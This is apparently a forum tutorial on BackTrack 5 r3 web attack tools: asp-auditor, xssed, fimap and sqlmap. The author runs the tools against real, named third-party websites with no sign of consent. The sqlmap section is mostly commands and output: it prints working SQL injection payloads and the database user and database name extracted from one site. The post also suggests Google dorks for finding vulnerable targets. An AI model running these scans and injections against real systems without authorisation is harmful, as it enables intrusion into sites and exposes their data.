some uses of perl and python in backtrack 5 r3
this is a little theory with we can to use perl and python. letīs go!!
================================================== ===============================


asp-auditor is a perl script created that allows you to find useful information on a web server.
first go to backtrack 5 r3 dir: /backtrack/exploitation tools/web exploitation tools/asp-auditor.


appear the following


usage: ./asp-audit.pl [http://target/app/file.aspx] (opts)


(opts)
-bf brute force asp.net version using js validate
directories.


now you see the next:
[email protected]:/pentest/web/asp-auditor#


to use the script you need to run the following syntax:


perl asp-auditor.pl website/page.aspx options


after you put the following i used this web http://conalepsin.edu.mx/apps/chekt/default.aspx


[email protected]:/pentest/web/asp-auditor# perl asp-audit.pl http://conalepsin.edu.mx/apps/chekt/default.aspx -bf[*] sending initial probe request...[*] sending path discovery request...[*] sending asp.net validate discovery request...[*] sending asp.net apr/07 xss check[*] sending application trace request...[*] sending null remoter service request...


[ .net configuration analysis ]


server -> microsoft-iis/6.0
adnversion -> 2.0.50727


matches -> 2.0.50727.07 version 2.0 (visual studio.net 2005 ctp) aug 2005
matches -> 2.0.50727.26 version 2.0 (visual studio.net 2005 rc / sql server 2005 ctp) sep 2005
matches -> 2.0.50727.42 version 2.0 rtm (visual studio.net 2005 rtm / sql server 2005 rtm) nov 2005[*] sending brute force discovery requests...


================================================== ============================================


knowing websites vulnerable to cross site scripting using backtrack 5 r3. a little theory, a cross site scripting is a typical type of security hole web application that allows third party websites inject the user views javascript code or in another script language similar.


to begin, start backtrack 5 r3, once started is entered
applications / backtrack / information gathering / web application analysis / open source analysis / xssed


the link is directed to http://www.xssed.com/archive website, which displays a list of websites vulnerable to cross site scripting


to prevent such attacks, it is necessary for the proper configuration files of type javascript, php, vbscript, output filter content, in short, all entries entered by users must be verified before being used.


================================================== ============================================


here i leave this brief manual fimap tool use in backtrack 5 r3. a little theory, fimap is a tool created in the python programming language, which allows you to explore and exploit such vulnerabilities rfi (reomte file inclusion) or lif (local file inclusion). it also allows, if you have an internet connection, via google searchpaths vulnerability to web sites.


to start, starts backtrack 5 r3. once initiated entering directory / pentest / web / fimap;


cd / pentest / web / fimap


[email protected]:~# cd /pentest/web/fimap
[email protected]:/pentest/web/fimap# ./fimap.py -u 'http://www.website/news.php?id=108'


you can to look for with google dorks too


[email protected]:/pentest/web/fimap# ./fimap.py -u 'index.php?id='


when the website is vulnerable to remote file inclusion is displayed on the terminal notifying exploitation. fimap is a very good tool for administrators and whose main objective is to improve the quality and security of your website.


================================================== ============================================
[b]sqlmap
sqlmap in backtrack 5 r3. a little theory, sqlmap is a tool to detect and exploit sql injection vulnerabilities thus obtaining full access to the database server algin web, regardless of the type of operating system.


to use the tool, start backtrack 5 r3 and entering directory
/ pentest / database / sqlmap


[email protected]:# cd /pentest/database/sqlmap/


appear the following:


[email protected]:/pentest/database/sqlmap#


next steep:


[email protected]:/pentest/database/sqlmap# ls
doc lib plugins readme.md sqlmap.conf sqlmap.py tamper udf
extra output procs shell _sqlmap.py _sqlmap.pyc txt xml


after we write ./sqlmap.py -u http://www.weburl.com. i used a url http://www.centro-lomas.com.ar


[email protected]:/pentest/database/sqlmap# ./sqlmap.py -u http://www.centro-lomas.com.ar/detalles.php?id=1


sqlmap/1.0-dev-25eca9d - automatic sql injection and database takeover tool
http://sqlmap.org


[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. it is the end user's responsibility to obey all applicable local, state and federal laws. authors assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 18:08:56


[18:08:57] [info] testing connection to the target url
[18:08:59] [info] testing if the url is stable, wait a few seconds
[18:09:00] [info] url is stable
[18:09:00] [info] testing if get parameter 'id' is dynamic
[18:09:01] [info] confirming that get parameter 'id' is dynamic
[18:09:01] [info] get parameter 'id' is dynamic
[18:09:02] [info] heuristics detected web page charset 'ascii'
[18:09:02] [info] heuristic test shows that get parameter 'id' might be injectable (possible dbms: mysql)
[18:09:02] [info] testing for sql injection on get parameter 'id'
[18:09:02] [info] testing 'and boolean-based blind - where or having clause'
[18:09:03] [warning] reflective value(s) found and filtering out
[18:09:04] [info] get parameter 'id' is 'and boolean-based blind - where or having clause' injectable
[18:09:04] [info] testing 'mysql >= 5.0 and error-based - where or having clause'
[18:09:04] [info] get parameter 'id' is 'mysql >= 5.0 and error-based - where or having clause' injectable
[18:09:04] [info] testing 'mysql > 5.0.11 stacked queries'
[18:09:05] [info] testing 'mysql > 5.0.11 and time-based blind'
[18:09:16] [info] get parameter 'id' is 'mysql > 5.0.11 and time-based blind' injectable
[18:09:16] [info] testing 'mysql union query (null) - 1 to 20 columns'
[18:09:16] [info] automatically extending ranges for union query injection technique tests as there is at least one other injection technique found
[18:09:16] [info] order by technique seems to be usable. this should reduce the time needed to find the right number of query columns. automatically extending the range for current union query injection technique test
[18:09:18] [info] target url appears to have 6 columns in query
[18:09:19] [info] get parameter 'id' is 'mysql union query (null) - 1 to 20 columns' injectable
get parameter 'id' is vulnerable. do you want to keep testing the others (if any)? [y/n] y
sqlmap identified the following injection points with a total of 18 http(s) requests:
---
place: get
parameter: id
type: boolean-based blind
title: and boolean-based blind - where or having clause
payload: id=1 and 2747=2747


type: error-based
title: mysql >= 5.0 and error-based - where or having clause
payload: id=1 and (select 5273 from(select count(*),concat(0x3a69617a3a,(select (case when (5273=5273) then 1 else 0 end)),0x3a7174773a,floor(rand(0)*2))x from information_schema.character_sets group by x)a)


type: union query
title: mysql union query (null) - 6 columns
payload: id=1 limit 1,1 union all select concat(0x3a69617a3a,0x7361464c446765557662,0x3a717 4773a), null, null, null, null, null#


type: and/or time-based blind
title: mysql > 5.0.11 and time-based blind
payload: id=1 and sleep(5)
---


[18:09:28] [info] the back-end dbms is mysql


web application technology: php 5.3.13, apache 2.2.22
back-end dbms: mysql 5.0
[18:09:28] [info] fetched data logged to text files under '/pentest/database/sqlmap/output/www.centro-lomas.com.ar'[*] shutting down at 18:09:28


also if you want to use the helper to run the tool incorporates the following syntax:


./sqlmap.py --wizard


[email protected]:/pentest/database/sqlmap# ./sqlmap.py --wizard


sqlmap/1.0-dev-25eca9d - automatic sql injection and database takeover tool
http://sqlmap.org


[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. it is the end user's responsibility to obey all applicable local, state and federal laws. authors assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 18:10:02


please enter full target url (-u): http://www.centro-lomas.com.ar/detalles.php?id=1
post data (--data) [enter for none]:
injection difficulty (--level/--risk). please choose:
[1] normal (default)
[2] medium
[3] hard
> 3
enumeration (--banner/--current-user/etc). please choose:
[1] basic (default)
[2] smart
[3] all
> 1


sqlmap is running, please wait..


sqlmap identified the following injection points with a total of 0 http(s) requests:
---
place: get
parameter: id
type: boolean-based blind
title: and boolean-based blind - where or having clause
payload: id=1 and 2747=2747


type: error-based
title: mysql >= 5.0 and error-based - where or having clause
payload: id=1 and (select 5273 from(select count(*),concat(0x3a69617a3a,(select (case when (5273=5273) then 1 else 0 end)),0x3a7174773a,floor(rand(0)*2))x from information_schema.character_sets group by x)a)


type: union query
title: mysql union query (null) - 6 columns
payload: id=1 limit 1,1 union all select concat(0x3a69617a3a,0x7361464c446765557662,0x3a717 4773a), null, null, null, null, null#


type: and/or time-based blind
title: mysql > 5.0.11 and time-based blind
payload: id=1 and sleep(5)
---




web application technology: php 5.3.13, apache 2.2.22
back-end dbms: mysql 5.0
banner: '5.1.66-cll'


current user: '[email protected]'


current database: 'cenlom09_capacitacion'


current user is dba: none
[*] shutting down at 18:10:53


the assistant will guide you through the setup of the website you want to test the vulnerability.